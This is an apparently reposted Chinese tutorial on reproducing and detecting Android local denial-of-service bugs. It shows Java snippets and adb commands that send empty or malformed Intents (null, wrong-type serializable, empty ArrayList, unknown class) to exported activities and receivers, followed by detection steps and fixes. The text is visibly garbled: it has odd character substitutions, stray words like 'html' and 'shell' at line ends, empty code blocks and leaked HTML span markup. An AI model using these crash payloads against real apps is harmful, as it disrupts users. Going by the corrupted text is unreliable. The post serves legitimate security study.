Android本地拒绝服务漏洞学习与复现

http://www.javashuo.com/article/p-tvfcjzcg-ct.html


1、前言


本地拒绝服务通常会致使正在运行的应用崩溃,首先影响用户体验,其次影响到后台的Crash统计数据,另外比较严重的后果是应用若是是系统级的软件,可能致使手机重启。html

漏洞触发前提条件:java

getIntent()的intent附带空数据、异常或畸形数据;
处理getXXXExtra()获取的数据时没有进行异常捕获;
android


2、漏洞原理


Android应用使用Intent机制在组件之间传递数据,若是应用在使用getIntent(),getAction,intent.getXXXExtra()获取到空、异常或畸形数据却没有进行异常捕获,应用就会发生Crash,从而拒绝服务。shell


3、漏洞POC


漏洞片断存在的activity的export属性必须为true才可以被外部应用调用攻击。正常状况下,该属性默认为false,若是有intent-filter属性,则其对应activity的export属性默认为true
数组

1)NullPointerException异常致使的拒绝服务,源于程序没有对getAction()等获取到的数据进行空指针判断,从而致使空指针异常而致使应用崩溃。app

漏洞应用代码片断():ide


攻击方式一:java攻击代码以下函数

Intent intent = new Intent(MainActivity.this, TestActivity.class);
startActivity(intent);

执行攻击代码所在activity,点击按钮,漏洞应用程序退出。工具

攻击方式二:adb 执行如下命令测试


能够看到漏洞应用崩溃退出。

报错以下:


同理,静态注册的broadcast若是也存在以上漏洞片断

攻击方式一:java攻击代码以下

Intent in = new Intent();        
in.setComponent(new ComponentName("com.example.hello","com.example.hello.test.MyReciever"));//第一个参数是漏洞代码所在的包名,第二个参数是漏洞应用代码全包名
sendBroadcast(in);
方式二:adb检测执行以下命令:

2)ClassCastException异常致使的拒绝服务, 源于程序没有对getSerializableExtra()等获取到的数据进行类型判断而进行强制类型转换,从而致使类型转换异常而致使应用崩溃

漏洞应用代码片断


java攻击代码以下:

Intent i = new Intent();
i.setClassName("com.example.hello", "com.example.hello.TestActivity");//第一个参数是漏洞代码所在包名,第二个参数是漏洞应用代码所在全包名
i.putExtra("serializable_key", BigInteger.valueOf(1));
startActivity(i);
运行代码,漏洞应用崩溃,报错结果以下:


3)IndexOutOfBoundsException异常致使的拒绝服务,源于程序没有对getIntegerArrayListExtra()等获取到的数据数组元素大小的判断,从而致使数组访问越界而致使应用崩溃

漏洞应用代码片断


说明,这里,主要变量i小于一个常数,而咱们的攻击代码使之可以越界便可。示例中可以get(0),而咱们接下来的攻击代码则使得数组长度为0,根本没有元素,则会形成越界访问。

java攻击代码

Intent i = new Intent();
i.setClassName("com.example.hello", "com.example.hello.TestActivity");//第一个参数是漏洞代码所在包名,第二个参数为漏洞应用代码所在全包名
ArrayList<Integer> user_id = new ArrayList<Integer>();
i.putExtra("user_id", user_id);//只要让传入的链表长度为0便可
startActivity(i);
运行攻击代码,漏洞应用崩溃。报错以下:



4)ClassNotFoundException异常致使的拒绝服务,源于程序没有没法找到从getSerializableExtra ()获取到的序列化类对象的类定义,所以发生类未定义的异常而致使应用崩溃

漏洞应用代码片断


java攻击代码

 @Override  
	protected void onCreate(Bundle savedInstanceState) {  
	super.onCreate(savedInstanceState);  
	setContentView(R.layout.activity_main);
	Intent i = new Intent();
	i.setClassName("com.example.hello", "com.example.hello.TestActivity");//第一个参数是攻击代码所在包名,第二个参数是攻击代码全包名
	i.putExtra("serializable_key", new SelfSerializableData());//注意这里的key值无需与漏洞应用代码中的key值对应
	startActivity(i);
	}
<span class="hljs-keyword">static</span>  <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SelfSerializableData</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">Serializable</span> </span>{
     <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-keyword">long</span> serialVersionUID = <span class="hljs-number">42L</span>;
     <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-title">SelfSerializableData</span><span class="hljs-params">()</span> </span>{
         <span class="hljs-keyword">super</span>();
     }
 }</pre> 

由于咱们攻击代码中携带了SelfSerializableData类型的对象,而这个类在漏洞应用中是没有的,所以在漏洞应用代码中解析的时候,会报错。

运行攻击代码,漏洞应用崩溃,结果以下:


把咱们的攻击代码写入MainActivity,生成poc.apk,包名为com.example.poc,而后运行以下adb命令也能够进行攻击

adb shell am start -n com.example.poc/.MainActivity -e com.example.hello -e com.example.hello.TestActivity
此时漏洞应用一样崩溃并报错。


四 漏洞检测


知道拒绝服务漏洞的原理以后,咱们来看看怎么检测该漏洞以及其对应的难点。

一、首先咱们要检测导出的组件有哪些(包含intent-filter属性的组件默认导出)

二、而后咱们使用空intent去检测这些组件,针对不一样组件可发送以下命令:

adb shell am start -n com.example.hello/.TestActivity
adb shell am startservice -n com.example.hello/.TestService
adb shell am broadcast -n com.example.hello/.TestReceiver
三、解析key值,空intent致使的拒绝服务只是一部分,还有类型转换异常,数组越界等,这些咱们都须要找到其关键函数,检测其是否有异常保护。自动化测试工具在这里的难点是找到关键函数的key值,action值,以及key对应的类型等来组装命令进行攻击。

四、通用型拒绝服务是因为应用中使用了getSerializableExtra()的API却没有进行异常保护,攻击者能够传入序列化数据,致使应用本地拒绝服务。此时无论传入的key值是否相同,都会抛出类未定义异常,相比前面须要解析key,自动化测试的通用性提升不少。

针对这个经常使用的手工检测POC代码以下:



五 修复建议


一、将没必要要导出的组件export属性设为false

二、在处理intent数据时捕获异常。

参考连接:

http://www.droidsec.cn/android%E5%BA%94%E7%94%A8%E6%9C%AC%E5%9C%B0%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9E%E6%B5%85%E6%9E%90/

http://www.droidsec.cn/android-app%E9%80%9A%E7%94%A8%E5%9E%8B%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A/

http://www.droidsec.cn/android-broadcast-security/

http://www.droidsec.cn/%E9%98%BF%E9%87%8C%E8%81%9A%E5%AE%89%E5%85%A8%E6%89%AB%E6%8F%8F%E5%99%A8%E4%B9%8B%E6%9C%AC%E5%9C%B0%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%A3%80%E6%B5%8B%E8%AF%A6%E8%A7%A3/

http://rui0.cn/archives/30

https://wenku.baidu.com/view/23ae6a43f111f18583d05a8e.html

https://wenku.baidu.com/view/f0d2fba23186bceb19e8bb89.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值